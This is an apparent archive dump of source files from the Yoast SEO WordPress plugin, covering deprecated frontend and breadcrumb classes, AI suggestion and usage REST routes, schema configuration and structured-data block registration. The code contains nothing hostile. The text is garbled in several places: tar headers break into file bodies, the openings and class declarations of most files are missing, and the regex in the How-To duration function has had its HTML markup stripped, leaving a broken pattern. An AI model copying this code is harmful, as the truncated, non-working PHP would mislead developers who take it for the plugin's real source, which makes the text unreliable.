// Exception here is unhandled as it will only occur in development.
Container_Compiler::compile(
$this->is_development(),
__DIR__ . '/generated/container.php',
__DIR__ . '/../config/dependency-injection/services.php',
__DIR__ . '/../vendor/composer/autoload_classmap.php',
'Yoast\WP\SEO\Generated',
);
}
if ( \file_exists( __DIR__ . '/generated/container.php' ) ) {
require_once __DIR__ . '/generated/container.php';
return new Cached_Container();
}
return null;
}
/**
* {@inheritDoc}
*/
protected function get_name() {
return 'yoast-seo';
}
/**
* {@inheritDoc}
*/
protected function get_surfaces() {
return [
'classes' => Classes_Surface::class,
'meta' => Meta_Surface::class,
'helpers' => Helpers_Surface::class,
];
}
}
deprecated/frontend/frontend.php 0000644 00000016771 15207625446 0013042 0 ustar 00 context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class );
$this->replace_vars = YoastSEO()->classes->get( WPSEO_Replace_Vars::class );
$this->helpers = YoastSEO()->classes->get( Helpers_Surface::class );
}
/**
* Catches call to methods that don't exist and might deprecated.
*
* @param string $method The called method.
* @param array $arguments The given arguments.
*
* @return mixed
*/
public function __call( $method, $arguments ) {
_deprecated_function( $method, 'Yoast SEO 14.0' );
$title_methods = [
'title',
'fix_woo_title',
'get_content_title',
'get_seo_title',
'get_taxonomy_title',
'get_author_title',
'get_title_from_options',
'get_default_title',
'force_wp_title',
];
if ( in_array( $method, $title_methods, true ) ) {
return $this->get_title();
}
return null;
}
/**
* Retrieves an instance of the class.
*
* @return static The instance.
*/
public static function get_instance() {
self::$instance ??= new self();
return self::$instance;
}
/**
* Outputs the canonical value.
*
* @param bool $echo Whether or not to output the canonical element.
* @param bool $un_paged Whether or not to return the canonical with or without pagination added to the URL.
* @param bool $no_override Whether or not to return a manually overridden canonical.
*
* @return string|void
*/
public function canonical( $echo = true, $un_paged = false, $no_override = false ) {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
$presenter = new Canonical_Presenter();
/** This filter is documented in src/integrations/front-end-integration.php */
$presenter->presentation = $presentation;
$presenter->helpers = $this->helpers;
$presenter->replace_vars = $this->replace_vars;
if ( ! $echo ) {
return $presenter->get();
}
echo $presenter->present();
}
/**
* Retrieves the meta robots value.
*
* @return string
*/
public function get_robots() {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
return $presentation->robots;
}
/**
* Outputs the meta robots value.
*
* @return void
*/
public function robots() {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
$presenter = new Robots_Presenter();
$presenter->presentation = $presentation;
$presenter->helpers = $this->helpers;
$presenter->replace_vars = $this->replace_vars;
echo $presenter->present();
}
/**
* Determine $robots values for a single post.
*
* @param array $robots Robots data array.
* @param int $post_id The post ID for which to determine the $robots values, defaults to current post.
*
* @return array
*/
public function robots_for_single_post( $robots, $post_id = 0 ) {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
return $presentation->robots;
}
/**
* Used for static home and posts pages as well as singular titles.
*
* @param object|null $object If filled, object to get the title for.
*
* @return string The content title.
*/
private function get_title( $object = null ) {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
$title = $presentation->title;
return $this->replace_vars->replace( $title, $presentation->source );
}
/**
* This function adds paging details to the title.
*
* @param string $sep Separator used in the title.
* @param string $seplocation Whether the separator should be left or right.
* @param string $title The title to append the paging info to.
*
* @return string
*/
public function add_paging_to_title( $sep, $seplocation, $title ) {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
return $title;
}
/**
* Add part to title, while ensuring that the $seplocation variable is respected.
*
* @param string $sep Separator used in the title.
* @param string $seplocation Whether the separator should be left or right.
* @param string $title The title to append the title_part to.
* @param string $title_part The part to append to the title.
*
* @return string
*/
public function add_to_title( $sep, $seplocation, $title, $title_part ) {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
if ( $seplocation === 'right' ) {
return $title . $sep . $title_part;
}
return $title_part . $sep . $title;
}
/**
* Adds 'prev' and 'next' links to archives.
*
* @link http://googlewebmastercentral.blogspot.com/2011/09/pagination-with-relnext-and-relprev.html
*
* @return void
*/
public function adjacent_rel_links() {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
$rel_prev_presenter = new Rel_Prev_Presenter();
$rel_prev_presenter->presentation = $presentation;
$rel_prev_presenter->helpers = $this->helpers;
$rel_prev_presenter->replace_vars = $this->replace_vars;
echo $rel_prev_presenter->present();
$rel_next_presenter = new Rel_Next_Presenter();
$rel_next_presenter->presentation = $presentation;
$rel_next_presenter->helpers = $this->helpers;
$rel_next_presenter->replace_vars = $this->replace_vars;
echo $rel_next_presenter->present();
}
/**
* Outputs the meta description element or returns the description text.
*
* @param bool $echo Echo or return output flag.
*
* @return string
*/
public function metadesc( $echo = true ) {
_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );
$presentation = $this->get_current_page_presentation();
$presenter = new Meta_Description_Presenter();
$presenter->presentation = $presentation;
$presenter->helpers = $this->helpers;
$presenter->replace_vars = $this->replace_vars;
if ( ! $echo ) {
return $presenter->get();
}
$presenter->present();
}
/**
* Returns the current page presentation.
*
* @return Indexable_Presentation The current page presentation.
*/
private function get_current_page_presentation() {
$context = $this->context_memoizer->for_current_page();
/** This filter is documented in src/integrations/front-end-integration.php */
return apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
}
}
deprecated/frontend/breadcrumbs.php 0000644 00000006240 15207625446 0013502 0 ustar 00 context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class );
$this->helpers = YoastSEO()->classes->get( Helpers_Surface::class );
$this->replace_vars = YoastSEO()->classes->get( WPSEO_Replace_Vars::class );
}
/**
* Get breadcrumb string using the singleton instance of this class.
*
* @param string $before Optional string to prepend.
* @param string $after Optional string to append.
* @param bool $display Echo or return flag.
*
* @return string Returns the breadcrumbs as a string.
*/
public static function breadcrumb( $before = '', $after = '', $display = true ) {
// Remember the last used before/after for use in case the object goes __toString().
self::$before = $before;
self::$after = $after;
$output = $before . self::get_instance()->render() . $after;
if ( $display === true ) {
echo $output;
return '';
}
return $output;
}
/**
* Magic method to use in case the class would be send to string.
*
* @return string The rendered breadcrumbs.
*/
public function __toString() {
return self::$before . $this->render() . self::$after;
}
/**
* Retrieves an instance of the class.
*
* @return static The instance.
*/
public static function get_instance() {
self::$instance ??= new self();
return self::$instance;
}
/**
* Returns the collected links for the breadcrumbs.
*
* @return array The collected links.
*/
public function get_links() {
$context = $this->context_memoizer->for_current_page();
return $context->presentation->breadcrumbs;
}
/**
* Renders the breadcrumbs.
*
* @return string The rendered breadcrumbs.
*/
private function render() {
$presenter = new Breadcrumbs_Presenter();
$context = $this->context_memoizer->for_current_page();
/** This filter is documented in src/integrations/front-end-integration.php */
$presentation = apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
$presenter->presentation = $presentation;
$presenter->replace_vars = $this->replace_vars;
$presenter->helpers = $this->helpers;
return $presenter->present();
}
}
deprecated/index.php 0000644 00000000046 15207625446 0010477 0 ustar 00 The array of conditionals.
*/
public static function get_conditionals() {
\_deprecated_function( __METHOD__, 'Yoast SEO 25.0' );
return [
Yoast_Admin_And_Dashboard_Conditional::class,
];
}
/**
* Register hooks.
*
* @deprecated 25.0
* @codeCoverageIgnore
*
* @return void
*/
public function register_hooks() {
\_deprecated_function( __METHOD__, 'Yoast SEO 25.0' );
}
/**
* Checks the current PHP version.
*
* @deprecated 25.0
* @codeCoverageIgnore
*
* @return void
*/
public function check_php_version() {
\_deprecated_function( __METHOD__, 'Yoast SEO 25.0' );
}
/**
* Composes the body of the message to display.
*
* @deprecated 25.0
* @codeCoverageIgnore
*
* @return string The message to display.
*/
public function body() {
\_deprecated_function( __METHOD__, 'Yoast SEO 25.0' );
return '';
}
}
deprecated/src/helpers/request-helper.php 0000644 00000001057 15207625446 0014571 0 ustar 00 options = $options;
}
/**
* Returns `true` when the Site Kit feature is enabled.
*
* @return bool `true` when the Site Kit feature is enabled.
*
* @deprecated 26.7
* @codeCoverageIgnore
*/
public function is_met() {
\_deprecated_function( __METHOD__, 'Yoast SEO 26.7' );
return true;
}
}
ai-generator/domain/suggestion.php 0000644 00000001006 15207625446 0013300 0 ustar 00 value = $value;
}
/**
* Returns the suggestion text.
*
* @return string
*/
public function get_value(): string {
return $this->value;
}
}
ai-generator/domain/endpoint/endpoint-list.php 0000644 00000001505 15207625447 0015527 0 ustar 00
*/
private $endpoints = [];
/**
* Adds an endpoint to the list.
*
* @param Endpoint_Interface $endpoint An endpoint.
*
* @return void
*/
public function add_endpoint( Endpoint_Interface $endpoint ): void {
$this->endpoints[] = $endpoint;
}
/**
* Converts the list to an array.
*
* @return array The array of endpoints.
*/
public function to_array(): array {
$result = [];
foreach ( $this->endpoints as $endpoint ) {
$result[ $endpoint->get_name() ] = $endpoint->get_url();
}
return $result;
}
}
ai-generator/domain/endpoint/endpoint-interface.php 0000644 00000001062 15207625447 0016512 0 ustar 00
*/
private $suggestions;
/**
* Class constructor.
*/
public function __construct() {
$this->suggestions = [];
}
/**
* Adds a suggestion to the bucket.
*
* @param Suggestion $suggestion The suggestion to add.
*
* @return void
*/
public function add_suggestion( Suggestion $suggestion ) {
$this->suggestions[] = $suggestion;
}
/**
* Returns the suggestions as an array.
*
* @return array
*/
public function to_array() {
return \array_map(
static function ( $item ) {
return $item->get_value();
},
$this->suggestions,
);
}
}
ai-generator/application/suggestions-provider.php 0000644 00000014564 15207625447 0016365 0 ustar 00 consent_handler = $consent_handler;
$this->request_handler = $request_handler;
$this->token_manager = $token_manager;
$this->user_helper = $user_helper;
}
// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.
/**
* Method used to generate suggestions through AI.
*
* @param WP_User $user The WP user.
* @param string $suggestion_type The type of the requested suggestion.
* @param string $prompt_content The excerpt taken from the post.
* @param string $focus_keyphrase The focus keyphrase associated to the post.
* @param string $language The language of the post.
* @param string $platform The platform the post is intended for.
* @param string $editor The current editor.
* @param bool $retry_on_unauthorized Whether to retry when unauthorized (mechanism to retry once).
*
* @throws Bad_Request_Exception Bad_Request_Exception.
* @throws Forbidden_Exception Forbidden_Exception.
* @throws Internal_Server_Error_Exception Internal_Server_Error_Exception.
* @throws Not_Found_Exception Not_Found_Exception.
* @throws Payment_Required_Exception Payment_Required_Exception.
* @throws Request_Timeout_Exception Request_Timeout_Exception.
* @throws Service_Unavailable_Exception Service_Unavailable_Exception.
* @throws Too_Many_Requests_Exception Too_Many_Requests_Exception.
* @throws Unauthorized_Exception Unauthorized_Exception.
* @throws RuntimeException Unable to retrieve the access token.
* @return string[] The suggestions.
*/
public function get_suggestions(
WP_User $user,
string $suggestion_type,
string $prompt_content,
string $focus_keyphrase,
string $language,
string $platform,
string $editor,
bool $retry_on_unauthorized = true
): array {
$token = $this->token_manager->get_or_request_access_token( $user );
$request_body = [
'service' => 'openai',
'user_id' => (string) $user->ID,
'subject' => [
'content' => $prompt_content,
'focus_keyphrase' => $focus_keyphrase,
'language' => $language,
'platform' => $platform,
],
];
$request_headers = [
'Authorization' => "Bearer $token",
'X-Yst-Cohort' => $editor,
];
try {
$response = $this->request_handler->handle( new Request( "/openai/suggestions/$suggestion_type", $request_body, $request_headers ) );
} catch ( Unauthorized_Exception $exception ) {
// Delete the stored JWT tokens, as they appear to be no longer valid.
$this->user_helper->delete_meta( $user->ID, '_yoast_wpseo_ai_generator_access_jwt' );
$this->user_helper->delete_meta( $user->ID, '_yoast_wpseo_ai_generator_refresh_jwt' );
if ( ! $retry_on_unauthorized ) {
throw $exception;
}
// Try again once more by fetching a new set of tokens and trying the suggestions endpoint again.
return $this->get_suggestions( $user, $suggestion_type, $prompt_content, $focus_keyphrase, $language, $platform, $editor, false );
} catch ( Forbidden_Exception $exception ) {
// Follow the API in the consent being revoked (Use case: user sent an e-mail to revoke?).
// phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive.
$this->consent_handler->revoke_consent( $user->ID );
throw new Forbidden_Exception( 'CONSENT_REVOKED', $exception->getCode() );
// phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped
}
return $this->build_suggestions_array( $response )->to_array();
}
// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber
/**
* Generates the list of 5 suggestions to return.
*
* @param Response $response The response from the API.
*
* @return Suggestions_Bucket The array of suggestions.
*/
public function build_suggestions_array( Response $response ): Suggestions_Bucket {
$suggestions_bucket = new Suggestions_Bucket();
$json = \json_decode( $response->get_body() );
if ( $json === null || ! isset( $json->choices ) ) {
return $suggestions_bucket;
}
foreach ( $json->choices as $suggestion ) {
$suggestions_bucket->add_suggestion( new Suggestion( $suggestion->text ) );
}
return $suggestions_bucket;
}
}
ai-generator/infrastructure/endpoints/get-suggestions-endpoint.php 0000644 00000002101 15207625447 0021670 0 ustar 00 get_namespace() . $this->get_route() );
}
}
ai-generator/infrastructure/endpoints/get-usage-endpoint.php 0000644 00000002043 15207625447 0020427 0 ustar 00 get_namespace() . $this->get_route() );
}
}
ai-generator/infrastructure/wordpress-urls.php 0000644 00000001756 15207625447 0015752 0 ustar 00 The conditionals.
*/
public static function get_conditionals() {
return [ AI_Conditional::class ];
}
/**
* Class constructor.
*
* @param Token_Manager $token_manager The token manager instance.
* @param Request_Handler $request_handler The request handler instance.
* @param WPSEO_Addon_Manager $addon_manager The add-on manager instance.
*/
public function __construct( Token_Manager $token_manager, Request_Handler $request_handler, WPSEO_Addon_Manager $addon_manager ) {
$this->addon_manager = $addon_manager;
$this->token_manager = $token_manager;
$this->request_handler = $request_handler;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
'methods' => 'POST',
'args' => [
'is_woo_product_entity' => [
'type' => 'boolean',
'default' => false,
],
],
'callback' => [ $this, 'get_usage' ],
'permission_callback' => [ $this, 'check_permissions' ],
],
);
}
/**
* Runs the callback that gets the monthly usage of the user.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The response of the callback action.
*/
public function get_usage( $request ): WP_REST_Response {
$is_woo_product_entity = $request->get_param( 'is_woo_product_entity' );
$user = \wp_get_current_user();
try {
$token = $this->token_manager->get_or_request_access_token( $user );
$request_headers = [
'Authorization' => "Bearer $token",
];
$action_path = $this->get_action_path( $is_woo_product_entity );
$response = $this->request_handler->handle( new Request( $action_path, [], $request_headers, false ) );
$data = \json_decode( $response->get_body() );
} catch ( Remote_Request_Exception | WP_Request_Exception $e ) {
$message = [
'errorMessage' => $e->getMessage(),
'errorIdentifier' => $e->get_error_identifier(),
'errorCode' => $e->getCode(),
];
if ( $e instanceof Too_Many_Requests_Exception ) {
$message['missingLicenses'] = $e->get_missing_licenses();
}
return new WP_REST_Response(
$message,
$e->getCode(),
);
}
return new WP_REST_Response( $data );
}
/**
* Get action path for the request.
*
* @param bool $is_woo_product_entity Whether the request is for a WooCommerce product entity.
*
* @return string The action path.
*/
public function get_action_path( $is_woo_product_entity = false ): string {
$unlimited = '/usage/' . \gmdate( 'Y-m' );
if ( $is_woo_product_entity && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) {
return $unlimited;
}
if ( ! $is_woo_product_entity && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) {
return $unlimited;
}
return '/usage/free-usages';
}
}
ai-generator/user-interface/bust-subscription-cache-route.php 0000644 00000004070 15207625450 0020451 0 ustar 00 The conditionals.
*/
public static function get_conditionals() {
return [ AI_Conditional::class ];
}
/**
* Class constructor.
*
* @param WPSEO_Addon_Manager $addon_manager The addon manager instance.
*/
public function __construct( WPSEO_Addon_Manager $addon_manager ) {
$this->addon_manager = $addon_manager;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
'methods' => 'POST',
'args' => [],
'callback' => [ $this, 'bust_subscription_cache' ],
'permission_callback' => [ $this, 'check_permissions' ],
],
);
}
/**
* Runs the callback that busts the subscription cache.
*
* @return WP_REST_Response The response of the callback action.
*/
public function bust_subscription_cache(): WP_REST_Response {
$this->addon_manager->remove_site_information_transients();
return new WP_REST_Response( 'Subscription cache successfully busted.' );
}
}
ai-generator/user-interface/route-permission-trait.php 0000644 00000001015 15207625450 0017216 0 ustar 00 ID < 1 ) {
return false;
}
return \user_can( $user, 'edit_posts' );
}
}
ai-generator/user-interface/ai-generator-integration.php 0000644 00000011612 15207625450 0017453 0 ustar 00
*/
public static function get_conditionals() {
return [ AI_Conditional::class, AI_Editor_Conditional::class ];
}
/**
* Constructs the class.
*
* @param WPSEO_Admin_Asset_Manager $asset_manager The admin asset manager.
* @param WPSEO_Addon_Manager $addon_manager The addon manager.
* @param API_Client $api_client The API client.
* @param Current_Page_Helper $current_page_helper The current page helper.
* @param Options_Helper $options_helper The options helper.
* @param User_Helper $user_helper The user helper.
* @param Introductions_Seen_Repository $introductions_seen_repository The introductions seen repository.
*/
public function __construct(
WPSEO_Admin_Asset_Manager $asset_manager,
WPSEO_Addon_Manager $addon_manager,
API_Client $api_client,
Current_Page_Helper $current_page_helper,
Options_Helper $options_helper,
User_Helper $user_helper,
Introductions_Seen_Repository $introductions_seen_repository
) {
$this->asset_manager = $asset_manager;
$this->addon_manager = $addon_manager;
$this->api_client = $api_client;
$this->current_page_helper = $current_page_helper;
$this->options_helper = $options_helper;
$this->user_helper = $user_helper;
$this->introductions_seen_repository = $introductions_seen_repository;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
// Enqueue after Elementor_Premium integration, which re-registers the assets.
\add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
}
/**
* Gets the subscription status for Yoast SEO Premium and Yoast WooCommerce SEO.
*
* @return array
*/
public function get_product_subscriptions() {
return [
'premiumSubscription' => $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ),
'wooCommerceSubscription' => $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ),
];
}
/**
* Returns the data that should be passed to the script.
*
* @return array>
*/
public function get_script_data() {
$user_id = $this->user_helper->get_current_user_id();
return [
'hasConsent' => $this->user_helper->get_meta( $user_id, '_yoast_wpseo_ai_consent', true ),
'productSubscriptions' => $this->get_product_subscriptions(),
'hasSeenIntroduction' => $this->introductions_seen_repository->is_introduction_seen( $user_id, AI_Fix_Assessments_Upsell::ID ),
'requestTimeout' => $this->api_client->get_request_timeout(),
'isFreeSparks' => $this->options_helper->get( 'ai_free_sparks_started_on', null ) !== null,
];
}
/**
* Enqueues the required assets.
*
* @return void
*/
public function enqueue_assets() {
$this->asset_manager->enqueue_script( 'ai-generator' );
$this->asset_manager->localize_script( 'ai-generator', 'wpseoAiGenerator', $this->get_script_data() );
$this->asset_manager->enqueue_style( 'ai-generator' );
}
}
ai-generator/user-interface/get-suggestions-route.php 0000644 00000011315 15207625452 0017042 0 ustar 00 The conditionals.
*/
public static function get_conditionals() {
return [ AI_Conditional::class ];
}
/**
* Class constructor.
*
* @param Suggestions_Provider $suggestions_provider The suggestions provider instance.
*/
public function __construct( Suggestions_Provider $suggestions_provider ) {
$this->suggestions_provider = $suggestions_provider;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
'methods' => 'POST',
'args' => [
'type' => [
'required' => true,
'type' => 'string',
'enum' => [
'seo-title',
'meta-description',
'product-seo-title',
'product-meta-description',
'product-taxonomy-seo-title',
'product-taxonomy-meta-description',
'taxonomy-seo-title',
'taxonomy-meta-description',
],
'description' => 'The type of suggestion requested.',
],
'prompt_content' => [
'required' => true,
'type' => 'string',
'description' => 'The content needed by the prompt to ask for suggestions.',
],
'focus_keyphrase' => [
'required' => true,
'type' => 'string',
'description' => 'The focus keyphrase associated to the post.',
],
'language' => [
'required' => true,
'type' => 'string',
'description' => 'The language the post is written in.',
],
'platform' => [
'required' => true,
'type' => 'string',
'enum' => [
'Google',
'Facebook',
'Twitter',
],
'description' => 'The platform the post is intended for.',
],
'editor' => [
'required' => true,
'type' => 'string',
'enum' => [
'classic',
'elementor',
'gutenberg',
],
'description' => 'The current editor.',
],
],
'callback' => [ $this, 'get_suggestions' ],
'permission_callback' => [ $this, 'check_permissions' ],
],
);
}
/**
* Runs the callback to get AI-generated suggestions.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The response of the get_suggestions action.
*/
public function get_suggestions( WP_REST_Request $request ): WP_REST_Response {
try {
$user = \wp_get_current_user();
$data = $this->suggestions_provider->get_suggestions(
$user,
$request->get_param( 'type' ),
$request->get_param( 'prompt_content' ),
$request->get_param( 'focus_keyphrase' ),
$request->get_param( 'language' ),
$request->get_param( 'platform' ),
$request->get_param( 'editor' ),
);
} catch ( Remote_Request_Exception $e ) {
$message = [
'message' => $e->getMessage(),
'errorIdentifier' => $e->get_error_identifier(),
];
if ( $e instanceof Payment_Required_Exception || $e instanceof Too_Many_Requests_Exception ) {
$message['missingLicenses'] = $e->get_missing_licenses();
}
return new WP_REST_Response(
$message,
$e->getCode(),
);
} catch ( RuntimeException $e ) {
return new WP_REST_Response( 'Failed to get suggestions.', 500 );
}
return new WP_REST_Response( $data );
}
}
schema/application/configuration/schema-configuration.php 0000644 00000010126 15207625452 0020004 0 ustar 00 woocommerce_helper = $woocommerce_helper;
$this->product_helper = $product_helper;
$this->addon_manager = $addon_manager;
$this->options_helper = $options_helper;
}
/**
* Returns the schema configuration.
*
* @return array>>
*/
public function get_configuration(): array {
return [
'isSchemaDisabledProgrammatically' => $this->is_schema_disabled_programmatically(),
'schemaApiIntegrations' => $this->get_schema_api_integrations(),
];
}
/**
* Gets the schema API integrations status.
*
* @return array> The schema API integrations status.
*/
public function get_schema_api_integrations(): array {
$woocommerce_seo_file = 'wpseo-woocommerce/wpseo-woocommerce.php';
$woocommerce_active = $this->woocommerce_helper->is_active();
$woocommerce_seo_active = \is_plugin_active( $woocommerce_seo_file );
$woocommerce_seo_installed = $this->addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );
$woocommerce_seo_activate_url = \wp_nonce_url(
\self_admin_url( 'plugins.php?action=activate&plugin=' . $woocommerce_seo_file ),
'activate-plugin_' . $woocommerce_seo_file,
);
$is_premium = $this->product_helper->is_premium();
return [
'tec' => [
'isActive' => \class_exists( Events_Schema::class ),
],
'ssp' => [
'isActive' => \class_exists( PodcastEpisode::class ),
],
'wp-recipe-maker' => [
'isActive' => \class_exists( WP_Recipe_Maker::class ),
],
'woocommerce' => [
'isPrerequisiteActive' => $woocommerce_active,
'isActive' => $woocommerce_seo_active,
'isInstalled' => $woocommerce_seo_installed,
'activationLink' => $woocommerce_seo_activate_url,
],
'edd' => [
'isActive' => \class_exists( Easy_Digital_Downloads::class ),
'isPremium' => $is_premium,
],
];
}
/**
* Checks if the schema is disabled programmatically via the wpseo_json_ld_output filter.
*
* Only returns true if schema is enabled via the option (toggle) but disabled by external code.
*
* @return bool Whether schema is disabled by external code.
*/
public function is_schema_disabled_programmatically(): bool {
$deprecated_data = [
'_deprecated' => 'Please use the "wpseo_schema_*" filters to extend the Yoast SEO schema data - see the WPSEO_Schema class.',
];
/**
* Filter documented in Schema_Presenter::present().
*/
$filtered_schema = \apply_filters( 'wpseo_json_ld_output', $deprecated_data, '' );
return ( $filtered_schema === [] || $filtered_schema === false );
}
}
schema/infrastructure/disable-schema-integration.php 0000644 00000001642 15207625452 0016772 0 ustar 00
*/
public static function get_conditionals() {
return [];
}
/**
* Initializes the integration.
*
* Integrations hooking on `init` need to have a priority of 11 or higher to
* ensure that they run, as priority 10 is used by the loader to load the integrations.
*
* @return void
*/
public function register_hooks() {
\add_action( 'init', [ $this, 'register_block' ], 11 );
}
/**
* Registers the block.
*
* @return void
*/
public function register_block() {
\register_block_type(
$this->base_path . $this->block_name . '/block.json',
[
'editor_script' => $this->script,
'render_callback' => [ $this, 'present' ],
],
);
}
/**
* Presents the block output. This is abstract because in the loop we need to be able to build the data for the
* presenter in the last moment.
*
* @param array $attributes The block attributes.
*
* @return string The block output.
*/
abstract public function present( $attributes );
/**
* Checks whether the links in the block should have target="blank".
*
* This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window.
* We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor.
*
* @return bool returns if the block should be opened in another window.
*/
protected function should_link_target_blank(): bool {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
if ( \wp_unslash( $_GET['context'] ) === 'edit' ) {
return true;
}
}
return false;
}
}
integrations/blocks/abstract-dynamic-block.php 0000644 00000002366 15207625453 0015575 0 ustar 00 block_name,
[
'editor_script' => $this->script,
'render_callback' => [ $this, 'present' ],
'attributes' => [
'className' => [
'default' => '',
'type' => 'string',
],
],
],
);
}
/**
* Presents the block output. This is abstract because in the loop we need to be able to build the data for the
* presenter in the last moment.
*
* @param array $attributes The block attributes.
*
* @return string The block output.
*/
abstract public function present( $attributes );
}
integrations/blocks/structured-data-blocks.php 0000644 00000030404 15207625453 0015640 0 ustar 00 asset_manager = $asset_manager;
$this->image_helper = $image_helper;
}
/**
* Registers hooks for Structured Data Blocks with WordPress.
*
* @return void
*/
public function register_hooks() {
$this->register_blocks();
}
/**
* Registers the blocks.
*
* @return void
*/
public function register_blocks() {
/**
* Filter: 'wpseo_enable_structured_data_blocks' - Allows disabling Yoast's schema blocks entirely.
*
* @param bool $enable If false, our structured data blocks won't show.
*/
if ( ! \apply_filters( 'wpseo_enable_structured_data_blocks', true ) ) {
return;
}
\register_block_type(
\WPSEO_PATH . 'blocks/structured-data-blocks/faq/block.json',
[
'render_callback' => [ $this, 'optimize_faq_images' ],
],
);
\register_block_type(
\WPSEO_PATH . 'blocks/structured-data-blocks/how-to/block.json',
[
'render_callback' => [ $this, 'optimize_how_to_images' ],
],
);
}
/**
* Optimizes images in the FAQ blocks.
*
* @param array $attributes The attributes.
* @param string $content The content.
*
* @return string The content with images optimized.
*/
public function optimize_faq_images( $attributes, $content ) {
if ( ! isset( $attributes['questions'] ) ) {
return $content;
}
return $this->optimize_images( $attributes['questions'], 'answer', $content );
}
/**
* Transforms the durations into a translated string containing the count, and either singular or plural unit.
* For example (in en-US): If 'days' is 1, it returns "1 day". If 'days' is 2, it returns "2 days".
* If a number value is 0, we don't output the string.
*
* @param number $days Number of days.
* @param number $hours Number of hours.
* @param number $minutes Number of minutes.
* @return array Array of pluralized durations.
*/
private function transform_duration_to_string( $days, $hours, $minutes ) {
$strings = [];
if ( $days ) {
$strings[] = \sprintf(
/* translators: %d expands to the number of day/days. */
\_n( '%d day', '%d days', $days, 'wordpress-seo' ),
$days,
);
}
if ( $hours ) {
$strings[] = \sprintf(
/* translators: %d expands to the number of hour/hours. */
\_n( '%d hour', '%d hours', $hours, 'wordpress-seo' ),
$hours,
);
}
if ( $minutes ) {
$strings[] = \sprintf(
/* translators: %d expands to the number of minute/minutes. */
\_n( '%d minute', '%d minutes', $minutes, 'wordpress-seo' ),
$minutes,
);
}
return $strings;
}
/**
* Formats the durations into a translated string.
*
* @param array $attributes The attributes.
* @return string The formatted duration.
*/
private function build_duration_string( $attributes ) {
$days = ( $attributes['days'] ?? 0 );
$hours = ( $attributes['hours'] ?? 0 );
$minutes = ( $attributes['minutes'] ?? 0 );
$elements = $this->transform_duration_to_string( $days, $hours, $minutes );
$elements_length = \count( $elements );
switch ( $elements_length ) {
case 1:
return $elements[0];
case 2:
return \sprintf(
/* translators: %s expands to a unit of time (e.g. 1 day). */
\__( '%1$s and %2$s', 'wordpress-seo' ),
...$elements,
);
case 3:
return \sprintf(
/* translators: %s expands to a unit of time (e.g. 1 day). */
\__( '%1$s, %2$s and %3$s', 'wordpress-seo' ),
...$elements,
);
default:
return '';
}
}
/**
* Presents the duration text of the How-To block in the site language.
*
* @param array $attributes The attributes.
* @param string $content The content.
*
* @return string The content with the duration text in the site language.
*/
public function present_duration_text( $attributes, $content ) {
$duration = $this->build_duration_string( $attributes );
// 'Time needed:' is the default duration text that will be shown if a user doesn't add one.
$duration_text = \__( 'Time needed:', 'wordpress-seo' );
if ( isset( $attributes['durationText'] ) && $attributes['durationText'] !== '' ) {
$duration_text = $attributes['durationText'];
}
return \preg_replace(
'/(
)(.*<\/span>)(.[^\/p>]*)(<\/p>)/',
'
' . $duration_text . ' ' . $duration . '
',
$content,
1,
);
}
/**
* Optimizes images in the How-To blocks.
*
* @param array $attributes The attributes.
* @param string $content The content.
*
* @return string The content with images optimized.
*/
public function optimize_how_to_images( $attributes, $content ) {
if ( ! isset( $attributes['steps'] ) ) {
return $content;
}
$content = $this->present_duration_text( $attributes, $content );
return $this->optimize_images( $attributes['steps'], 'text', $content );
}
/**
* Optimizes images in structured data blocks.
*
* @param array $elements The list of elements from the block attributes.
* @param string $key The key in the data to iterate over.
* @param string $content The content.
*
* @return string The content with images optimized.
*/
